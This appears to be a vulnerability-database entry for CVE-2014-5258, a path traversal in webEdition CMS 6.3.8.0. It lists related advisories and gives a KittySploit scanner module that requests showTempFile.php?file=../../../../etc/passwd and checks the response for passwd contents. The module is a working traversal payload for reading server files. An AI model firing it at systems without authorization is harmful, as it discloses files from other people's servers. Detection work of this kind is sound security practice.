webEdition 6.3.8.0 - Directory Traversal Detection
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| webEdition 6.3.8.0 Path Traversal Vulnerability | 18 Sep 201400:00 | – | zdt | |
| CVE-2014-5258 | 6 Nov 201418:00 | – | cve | |
| CVE-2014-5258 | 6 Nov 201418:00 | – | cvelist | |
| webEdition 6.3.8.0 (SVN-Revision: 6985) - Directory Traversal | 24 Sep 201400:00 | – | exploitdb | |
| webEdition 6.3.8.0 (SVN-Revision: 6985) - Directory Traversal | 24 Sep 201400:00 | – | exploitpack | |
| Path Traversal in webEdition | 6 Aug 201400:00 | – | htbridge | |
| webEdition 6.3.8.0 - Directory Traversal | 15 Oct 202602:05 | – | nuclei | |
| CVE-2014-5258 | 6 Nov 201418:55 | – | nvd | |
| webEdition 6.3.8.0 Path Traversal | 17 Sep 201400:00 | – | packetstorm | |
| Directory traversal | 6 Nov 201418:55 | – | prion |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""A directory traversal vulnerability in showTempFile."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'webEdition 6.3.8.0 - Directory Traversal Detection',
'description': 'A directory traversal vulnerability in showTempFile.php in webEdition CMS before 6.3.9.0 Beta allows remote authenticated users to read arbitrary files via a .. (dot dot) in the file parameter.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2014', 'edb', 'packetstorm', 'lfi', 'webedition', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2014-5258',
'https://www.exploit-db.com/exploits/34761',
'http://packetstormsecurity.com/files/128301/webEdition-6.3.8.0-Path-Traversal.html',
'http://www.webedition.org/de/webedition-cms/versionshistorie/webedition-6/version-6.3.9.0',
'http://www.webedition.org/de/aktuelles/webedition-cms/webEdition-6.3.9-Beta-erschienen',
],
'cve': 'CVE-2014-5258',
}
def run(self):
r = self.http_request(method="GET", path='/webEdition/showTempFile.php?file=../../../../etc/passwd', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
body_regexes = ('root:.*:0:0:',)
if (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='medium',
reason="webEdition 6.3.8.0 - Directory Traversal detected",
path='/webEdition/showTempFile.php?file=../../../../etc/passwd',
)
return True
return False
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28 Jul 2026 11:27Current
6Medium risk
Vulners AI Score6
CVSS 24
EPSS0.20326